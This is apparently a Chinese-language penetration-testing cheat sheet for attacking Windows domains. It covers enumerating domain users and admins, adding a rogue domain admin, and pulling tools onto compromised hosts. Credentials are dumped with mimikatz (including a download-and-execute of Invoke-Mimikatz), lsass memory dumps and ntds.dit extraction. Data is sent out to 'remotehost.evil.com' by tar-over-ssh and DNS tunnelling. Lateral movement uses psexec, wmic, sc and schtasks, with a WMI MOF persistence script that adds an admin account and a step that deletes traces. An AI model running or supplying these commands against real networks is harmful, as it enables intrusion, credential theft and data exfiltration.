以下执行命令时候会发送到域控查询,如果渗透的机器不是域用户权限,则会报错

The request will be processed at a domain controller for domain

System error 1326 has occurred.
Logon failure: unknown user name or bad password.

4、查看域中的用户名

dsquery user

或者:
C:\Users\lemon\Desktop>net user /domain

User accounts for \\DC1

-------------------------------------------------------------------------------
Administrator Guest krbtgt
lemon pentest
The command completed successfully.

5、查询域组名称

C:\Users\lemon\Desktop>net group /domain

Group Accounts for \\DC1

----------------------------------------------
*DnsUpdateProxy
*Domain Admins
*Domain Computers
*Domain Controllers
*Domain Guests
*Domain Users
*Enterprise Admins
*Enterprise Read-only Domain Controllers
*Group Policy Creator Owners
*Read-only Domain Controllers
*Schema Admins
The command completed successfully.

6、查询域管理员

C:\Users\lemon\Desktop>net group "Domain Admins" /domain

Group name Domain Admins
Comment Designated administrators of the domain

Members

-----------------------------------------------------------
Administrator

7、添加域管理员账号

添加普通域用户

net user lemon iam@L3m0n /add /domain
将普通域用户提升为域管理员
net group "Domain Admins" lemon /add /domain

8、查看当前计算机名,全名,用户名,系统版本,工作站域,登陆域

C:\Documents and Settings\Administrator\Desktop>net config Workstation

Computer name \\DM_WIN03
Full Computer name DM_win03.centoso.com
User name Administrator

Workstation active on
NetbiosSmb (000000000000)
NetBT_Tcpip_{6B2553C1-C741-4EE3-AFBF-CE3BA1C9DDF7} (000C2985F6E4)

Software version Microsoft Windows Server 2003

Workstation domain CENTOSO
Workstation Domain DNS Name centoso.com
Logon domain DM_WIN03

COM Open Timeout (sec) 0
COM Send Count (byte) 16
COM Send Timeout (msec) 250

9、查看域控制器(多域控制器的时候,而且只能用在域控制器上)

net group "Domain controllers"

10、查询所有计算机名称

dsquery computer

下面这条查询的时候,域控不会列出
net group "Domain Computers" /domain

11、net命令

>1、映射磁盘到本地

net use z: \\dc01\sysvol

>2、查看共享
net view \\192.168.0.1

>3、开启一个共享名为app$,在d:\config
>net share app$=d:\config

12、跟踪路由

tracert 8.8.8.8



定位域控

1、查看域时间及域服务器的名字

C:\Users\lemon\Desktop>net time /domain

Current time at \\DC1.centoso.com is 3/21/2016 12:37:15 AM

2、

C:\Documents and Settings\Administrator\Desktop>Nslookup -type=SRV _ldap._tcp.

*** Can't find server address for '_ldap._tcp.':
DNS request timed out.
timeout was 2 seconds.
*** Can't find server name for address 192.168.206.100: Timed out
Server: UnKnown
Address: 192.168.206.100

*** UnKnown can't find -type=SRV: Non-existent domain

3、通过ipconfig配置查找dns地址

ipconfig/all

4、查询域控

net group "Domain Controllers" /domain



端口收集

端口方面的攻防需要花费的时间太多,引用一篇非常赞的端口总结文章

端口号
端口说明
攻击技巧

21/22/69
ftp/tftp:文件传输协议
爆破\嗅探\溢出\后门

22
ssh:远程连接
爆破OpenSSH;28个退格

23
telnet:远程连接
爆破\嗅探

25
smtp:邮件服务
邮件伪造

53
DNS:域名系统
DNS区域传输\DNS劫持\DNS缓存投毒\DNS欺骗\利用DNS隧道技术刺透防火墙

67/68
dhcp
劫持\欺骗

110
pop3
爆破

139
samba
爆破\未授权访问\远程代码执行

143
imap
爆破

161
snmp
爆破

389
ldap
注入攻击\未授权访问

512/513/514
linux r
直接使用rlogin

873
rsync
未授权访问

1080
socket
爆破:进行内网渗透

1352
lotus
爆破:弱口令\信息泄漏:源代码

1433
mssql
爆破:使用系统用户登录\注入攻击

1521
oracle
爆破:TNS\注入攻击

2049
nfs
配置不当

2181
zookeeper
未授权访问

3306
mysql
爆破\拒绝服务\注入

3389
rdp
爆破\Shift后门

4848
glassfish
爆破:控制台弱口令\认证绕过

5000
sybase/DB2
爆破\注入

5432
postgresql
缓冲区溢出\注入攻击\爆破:弱口令

5632
pcanywhere
拒绝服务\代码执行

5900
vnc
爆破:弱口令\认证绕过

6379
redis
未授权访问\爆破:弱口令

7001
weblogic
Java反序列化\控制台弱口令\控制台部署webshell

80/443/8080
web
常见web攻击\控制台爆破\对应服务器版本漏洞

8069
zabbix
远程命令执行

9090
websphere控制台
爆破:控制台弱口令\Java反序列

9200/9300
elasticsearch
远程代码执行

11211
memcacache
未授权访问

27017
mongodb
爆破\未授权访问

引用:https://www.91ri.org/15441.html
wooyun也有讨论:http://zone.wooyun.org/content/18959
对于端口也就是一个服务的利用,上文也只是大概的讲述,一些常见的详细利用与防御可以看看:
http://wiki.wooyun.org/enterprise:server


扫描分析

1、nbtscan
获取mac地址:

nbtstat -A 192.168.1.99

获取计算机名\分析dc\是否开放共享

nbtscan 192.168.1.0/24


其中信息:
SHARING 表示开放来共享,
DC 表示可能是域控,或者是辅助域控
U=user 猜测此计算机登陆名
IIS 表示运行来web80
EXCHANGE Microsoft Exchange服务
NOTES Lotus Notes服务

2、WinScanX
需要登录账号能够获取目标很详细的内容。其中还有snmp获取,windows密码猜解(但是容易被杀,nishang中也实现出一个类似的信息获取/Gather/Get-Information.ps1)

WinScanX.exe -3 DC1 centoso\pentest password -a > test.txt

3、端口扫描
InsightScan
proxy_socket后,直接

proxychains python scanner.py 192.168.0.0/24 -N

http://insight-labs.org/?p=981


内网文件传输


windows下文件传输

1、powershell文件下载
powershell突破限制执行:powershell -ExecutionPolicy Bypass -File .\1.ps1

$d = New-Object System.Net.WebClient

$d.DownloadFile("http://lemon.com/file.zip","c:/1.zip")

2、vbs脚本文件下载

Set xPost=createObject("Microsoft.XMLHTTP")

xPost.Open "GET","http://192.168.206.101/file.zip",0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile "c:\file.zip",2

下载执行:

cscript test.vbs

3、bitsadmin
win03测试没有,win08有

bitsadmin /transfer n http://lemon.com/file.zip c:\1.zip

4、文件共享
映射了一个,结果没有权限写

net use x: \\127.0.0.1\share /user:centoso.com\userID myPassword

5、使用telnet接收数据

服务端:nc -lvp 23 < nc.exe

下载端:telnet ip -f c:\nc.exe

6、hta
保存为.hta文件后运行

<html>

<head>
<script>
var Object = new ActiveXObject("MSXML2.XMLHTTP");
Object.open("GET","http://192.168.206.101/demo.php.zip",false);
Object.send();
if (Object.Status == 200)
{
var Stream = new ActiveXObject("ADODB.Stream");
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.SaveToFile("C:\\demo.zip", 2);
Stream.Close();
}
window.close();
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">
</head>
<body>
</body>
</html>

linux下文件传输

1、perl脚本文件下载
kali下测试成功,centos5.5下,由于没有LWP::Simple这个,导致下载失败

#!/usr/bin/perl

use LWP::Simple
getstore("http://lemon.com/file.zip", "/root/1.zip");

2、python文件下载

#!/usr/bin/python

import urllib2
u = urllib2.urlopen('http://lemon.com/file.zip')
localFile = open('/root/1.zip', 'w')
localFile.write(u.read())
localFile.close()

3、ruby文件下载
centos5.5没有ruby环境

#!/usr/bin/ruby

require 'net/http'
Net::HTTP.start("www.lemon.com") { |http|
r = http.get("/file.zip")
open("/root/1.zip", "wb") { |file|
file.write(r.body)
}
}

4、wget文件下载

wget http://lemon.com/file.zip -P /root/1.zip

其中-P是保存到指定目录

5、一边tar一边ssh上传

tar zcf - /some/localfolder | ssh remotehost.evil.com "cd /some/path/name;tar zxpf -"

6、利用dns传输数据

tar zcf - localfolder | xxd -p -c 16 |  while read line; do host $line.domain.com remotehost.evil.com; done

但是有时候会因为没找到而导致数据重复,对数据分析有点影响


其他传输方式

1、php脚本文件下载

<?php

$data = @file("http://example.com/file");
$lf = "local_file";
$fh = fopen($lf, 'w');
fwrite($fh, $data[0]);
fclose($fh);
?>

2、ftp文件下载

>**windows下**

>ftp下载是需要交互,但是也可以这样去执行下载
open host
username
password
bin
lcd c:/
get file
bye
>将这个内容保存为1.txt, ftp -s:"c:\1.txt"
>在mssql命令执行里面(不知道为什么单行执行一个echo,总是显示两行),个人一般喜欢这样
echo open host >> c:\hh.txt & echo username >> c:\hh.txt & echo password >>c:\hh.txt & echo bin >>c:\hh.txt & echo lcd c:\>>c:\hh.txt & echo get nc.exe >>c:\hh.txt & echo bye >>c:\hh.txt & ftp -s:"c:\hh.txt" & del c:\hh.txt

>**linux下**

>bash文件
ftp 127.0.0.1
username
password
get file
exit

>或者使用busybox里面的tftp或者ftp
>busybox ftpget -u test -P test 127.0.0.1 file.zip

3、nc文件传输

服务端:cat file | nc -l 1234

下载端:nc host_ip 1234 > file

4、使用SMB传送文件
本地linux的smb环境配置

>vi /etc/samba/smb.conf

[test]
comment = File Server Share
path = /tmp/
browseable = yes
writable = yes
guest ok = yes
read only = no
create mask = 0755
>service samba start

下载端

net use o: \\192.168.206.129\test

dir o:


文件编译

1、powershell将exe转为txt,再txt转为exe
nishang中的小脚本,测试一下将nc.exe转化为nc.txt再转化为nc1.exe
ExetoText.ps1

[byte[]] $hexdump = get-content -encoding byte -path "nc.exe"

[System.IO.File]::WriteAllLines("nc.txt", ([string]$hexdump))

TexttoExe.ps1

[String]$hexdump = get-content -path "nc.txt"

[Byte[]] $temp = $hexdump -split ' '
[System.IO.File]::WriteAllBytes("nc1.exe", $temp)

2、csc.exe编译源码
csc.exe在C:\Windows\Microsoft.NET\Framework\的各种版本之下

csc.exe /out:C:\evil\evil.exe C:\evil\evil.cs

3、debug程序
hex功能能将hex文件转换为exe文件(win08_x64没有这个,win03_x32有,听说是x32才有这个)

思路:


  1. 把需要上传的exe转换成十六进制hex的形式

  2. 通过echo命令将hex代码写入文件(echo也是有长度限制的)

  3. 使用debug功能将hex代码还原出exe文件


将ncc.txt的内容一条一条的在cmd下面执行,最后可以获取到123.hex、1.dll、nc.exe
exe2bat不支持大于64kb的文件



hash抓取


hash简介

windows hash:

2000
xp
2003
Vista
win7
2008
2012

LM


NTLM






前面三个,当密码超过14位时候会采用NTLM加密
test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248:::
前一部分是LM Hash,后一部分是NTLM Hash
当LM Hash是AAD3B435B51404EEAAD3B435B51404EE
这表示空密码或者是未使用LM_HASH

Hash一般存储在两个地方:
SAM文件,存储在本机 对应本地用户
NTDS.DIT文件,存储在域控上 对应域用户


本机hash+明文抓取

1、Get-PassHashes.ps1

2、导注册表+本地分析
Win2000和XP需要先提到SYSTEM,03开始直接可以reg save
导出的文件大,效率低,但是安全(测试的时候和QuarkPwDump抓取的hash不一致)

reg save hklm\sam sam.hive

reg save hklm\system system.hive
reg save hklm\security security.hive

3、QuarkPwDump

QuarkPwDump.exe -dhl -o "c:\1.txt"

4、getpass本地账户明文抓取
闪电小子根据mimikatz写的一个内存获取明文密码

http://bbs.pediy.com/showthread.php?t=156643


win8+win2012明文抓取

修改一个注册表就可以抓取了

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

测试失败
工具:https://github.com/samratashok/nishang/blob/master/Gather/Invoke-MimikatzWDigestDowngrade.ps1
文章地址:https://www.trustedsec.com/april-2015/dumping-wdigest-creds-with-meterpreter-mimikatzkiwi-in-windows-8-1/


域用户hash抓取


mimikatz

只能抓取登陆过的用户hash,无法抓取所有用户,需要免杀
1、本机测试直接获取内存中的明文密码

privilege::debug

sekurlsa::logonpasswords

2、非交互式抓明文密码(webshell中)

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > pssword.txt

3、powershell加载mimikatz抓取密码

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

4、ProcDump + Mimikatz本地分析
文件会比较大,低效,但是安全(绕过杀软)
ps:mimikatz的平台(platform)要与进行dump的系统(source dump)兼容(比如dowm了08的,本地就要用08系统来分析)

远程:

Procdump.exe -accepteula -ma lsass.exe lsass.dmp
本地:
sekurlsa::minidump lsass.dump.dmp
sekurlsa::logonpasswords full


ntds.dit的导出+QuarkPwDump读取分析

无法抓取所有用户,需要免杀

这个方法分为两步:
第一步是利用工具导出ntds.dit
第二步是利用QuarkPwDump去分析hash

1、ntds.dit的导出



  1. ntdsutil win2008开始DC中自带的工具



    a.交互式


    snapshot
    
    activate instance ntds
    create
    mount xxx


    做完后unmount然后需要再delet一下



    b.非交互


    ntdsutil snapshot "activate instance ntds" create quit quit
    
    ntdsutil snapshot "mount {GUID}" quit quit
    copy MOUNT_POINT\windows\ntds\ntds.dit c:\temp\ntds.dit
    ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit





  2. vshadow 微软的卷影拷贝工具



    vshadow.exe -exec=%ComSpec% C:
    

    其中%ComSpec%是cmd的绝对路径,它在建立卷影后会启动一个程序,只有这个程序才能卷影进行操作,其他不能,比如这里就是用cmd.exe来的
    最后exit一下





2、QuarkPwDump分析
https://github.com/quarkslab/quarkspwdump



  1. 在线提取


    QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit
    



  2. 离线提取
    需要两个文件 ntds.dit 和 system.hiv
    其中system.hiv可通过reg save hklm\system system.hiv获取


    QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit --system-file c:\system.hiv
    



3、实战中hash导出流程


1.建立ipc$连接
net use \\DC1\c$ password /user:username
2.复制文件到DC
copy .\* \\DC1\windows\tasks
3.sc建立远程服务启动程序
sc \\DC1 create backupntds binPath= "cmd /c start c:\windows\tasks\shadowcopy.bat" type= share start= auto error= ignore DisplayName= BackupNTDS
4.启动服务
sc \\DC1 start backupntds
5.删除服务
sc \\DC1 delete backupntds
6.讲hash转移到本地
move \\DC1\c$\windows\tasks\hash.txt .
7.删除记录文件
del \\DC1\c$\windows\tasks\ntds.dit \\DC1\c$\windows\tasks\QuarksPwDump.exe \\DC1\c$\windows\tasks\shadowcopy.bat \\DC1\c$\windows\tasks\vshadow.exe


注意的两点是:
a.WORK_PATH和你拷贝的地方要相同

b.附件中的QuarkPwDump在win08上面运行报错,另外修改版可以,所以实战前还是要测试一下


vssown.vbs + libesedb + NtdsXtract

上面的QuarkPwDump是在win上面分析ntds.dit,这个是linux上面的离线分析
优点是能获取全部的用户,不用免杀,但是数据特别大,效率低,另外用vssown.vbs复制出来的ntds.dit数据库无法使用QuarksPwDump.exe读取

hash导出:
https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs

最后需要copy出system和ntds.dit两个文件

c:\windows\system32\config\system

c:\windows\ntds\ntds.dit



记得一定要delete快照!!!

cscript vssown.vbs /delete *

本地环境搭建+分析:

libesedb的搭建:

wget https://github.com/libyal/libesedb/releases/download/20151213/libesedb-experimental-20151213.tar.gz
tar zxvf libesedb-experimental-20151213.tar.gz
cd libesedb-20151213/
./configure
make
cd esedbtools/
(需要把刚刚vbs脱下来的ntds.dit放到kali)
./esedbexport ./ntds.dit
mv ntds.dit.export/ ../../

ntdsxtract工具的安装:
wget http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip
unzip ntdsxtract_v1_0.zip
cd NTDSXtract 1.0/
(需要把刚刚vbs脱下来的SYSTEM放到/root/SYSTEM)
python dsusers.py ../ntds.dit.export/datatable.3 ../ntds.dit.export/link_table.5 --passwordhashes '/root/SYSTEM'


ntdsdump

laterain的推荐:http://z-cg.com/post/ntds_dit_pwd_dumper.html
是zcgonvh大牛根据quarkspwdump修改的,=。=,没找到和QuarkPwDump那个修改版的区别
获取ntds.dit和system.hiv之后(不用利用那个vbs导出,好像并不能分析出来)


利用powershell(DSInternals)分析hash

查看powershell版本:

$PSVersionTable.PSVersion

看第一个Major
或者
Get-Host | Select-Object Version

Windows Server 2008 R2默认环境下PowerShell版本2.0,应该升级到3.0版本以上,需要.NET Framework 4.0

需要文件:

ntds.dit(vshadow获取)

system(reg获取)

执行命令:

允许执行脚本:

Set-ExecutionPolicy Unrestricted

导入模块(测试是win2012_powershell ver4.0):
Import-Module .\DSInternals
(powershell ver5.0)
Install-Module DSInternals

分析hash,并导出到当前目录的hash.txt文件中
1、$key = Get-BootKey -SystemHivePath 'C:\Users\administrator\Desktop\SYSTEM'
2、Get-ADDBAccount -All -DBPath 'C:\Users\administrator\Desktop\ntds.dit' -BootKey $key | Out-File hash.txt

这个只是离线分析了ntds.dit文件,其实也可以在线操作,=。=,不过感觉实战中遇到的会比较少,毕竟现在主流是win08为域控(以后这个倒不失为一个好方法)
更多详情参考三好学生大牛的文章:http://drops.wooyun.org/tips/10181



远程连接&&执行程序


at&schtasks

需要开启Task Scheduler服务
经典流程:

1、进行一个连接

net use \\10.10.24.44\ipc$ 密码 /user:账号

2、复制本地文件到10.10.24.44的share共享目录(一般是放入admin$这个共享地方(也就是c:\winnt\system32\),或者c$,d$)
copy 4.bat \\10.10.24.44\share

3、查看10.10.24.44服务器的时间
net time \\10.10.24.44

4、添加at任务执行
at \\10.10.24.44 6:21 \\10.10.24.44\share\4.bat
这个6:21指的是上午的时间,如果想添加下午的,则是6.21PM

5、查看添加的所有at任务列表(如果执行了得,就不会显示)
at \\10.10.24.44

其他命令:

查看所有连接

net use
删除连接
net use \\10.10.24.44\share /del

映射共享磁盘到本地
net use z: \\IP\c$ "密码" /user:"用户名"
删除共享映射
net use c: /del
net use * /del

at过去后如果找不到网络路径,则判断是目标主机已禁用Task Scheduler服务


psexec

第一次运行会弹框,输入–accepteula这个参数就可以绕过

psexec.exe \\ip –accepteula -u username -p password program.exe

另外两个比较重要的参数

-c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)

-d 不等待程序执行完就返回
比如想上传一个本地的getpass到你远程连接的服务器上去:
Psexec.exe \\ip –u user –p pass –c c:\getpass.exe –d

另外学习一波pstools的一些运用:
http://blog.csdn.net/sysprogram/article/details/13001781

如果出现找不到网络名,判断目标主机已禁用ADMIN$共享


wmic

net use后:

copy 1.bat \\host\c$\windows\temp\1.bat

wmic /node:ip /user:test /password:testtest process call create c:\windows\temp\1.bat

ps:
如果出现User credentials cannot be used for local connections,应该是调用了calc.exe权限不够的问题
如果出现Description = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断WMI服务被禁用


wmiexec.vbs
1、半交互模式

cscript.exe //nologo wmiexec.vbs /shell ip username password
2、单命令执行
cscript.exe wmiexec.vbs /cmd ip username password "command"
3、wce_hash注入
如果抓取的LM hash是AAD3开头的,或者是No Password之类的,就用32个0代替LM hash
wce -s hash
cscript.exe //nologo wmiexec.vbs /shell ip


wmi只是创建进程,没办法去判断一个进程是否执行完成(比如ping),这样就导致wmi.dll删除不成,下一次又是被占用,这时候修改一下vbs里面的名字就好:Const FileName = "wmi1.dll",也可以加入-persist参数(后台运行)

另外有一个uac问题
非域用户登陆到win08和2012中,只有administrator可以登陆成功,其他管理员账号会出现WMIEXEC ERROR: Access is denied
需要在win08或者2012上面执行,然后才可以连接:

cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

想更详细了解的可以看看:https://www.91ri.org/12908.html


smbexec

这个可以根据其他共享(c$、ipc$)来获取一个cmd

先把execserver.exe复制到目标的windows目录下,然后本机执行

test.exe ip user pass command sharename


powershell remoting

感觉实质上还是操作wmi实现的一个执行程序

https://github.com/samratashok/nishang/blob/5da8e915fcd56fc76fc16110083948e106486af0/Shells/Invoke-PowerShellWmi.ps1


SC创建服务执行

一定要注意的是binpath这些设置的后面是有一个空格

1、系统权限(其中test为服务名)

sc \\DC1 create test binpath= c:\cmd.exe
sc \\DC1 start test
sc \\DC1 delete test

2.指定用户权限启动
sc \\DC1 create test binpath = "c:\1.exe" obj= "centoso\administrator" passwrod= test
sc \\DC1 start test


schtasks

schtasks计划任务远程运行

命令原型:

schtasks /create /tn TaskName /tr TaskRun /sc schedule [/mo modifier] [/d day] [/m month[,month...] [/i IdleTime] [/st StartTime] [/sd StartDate] [/ed EndDate] [/s computer [/u [domain\]user /p password]] [/ru {[Domain\]User | "System"} [/rp Password]] /?

For example:
schtasks /create /tn foobar /tr c:\windows\temp\foobar.exe /sc once /st 00:00 /S host /RU System
schtasks /run /tn foobar /S host
schtasks /F /delete /tn foobar /S host

验证失败:win03连到08,xp连到08,xp连到03(但是并没有真正的成功执行,不知道是不是有姿势错了)

更多用法:http://www.feiesoft.com/windows/cmd/schtasks.htm


SMB+MOF || DLL Hijacks

其实这个思路一般都有用到的,比如在mof提权(上传mof文件到c:/windows/system32/wbem/mof/mof.mof)中,lpk_dll劫持
不过测试添加账号成功…执行文件缺失败了

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin adminaz1 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};


PTH + compmgmt.msc

http://drops.wooyun.org/tips/7358

generated by haroopad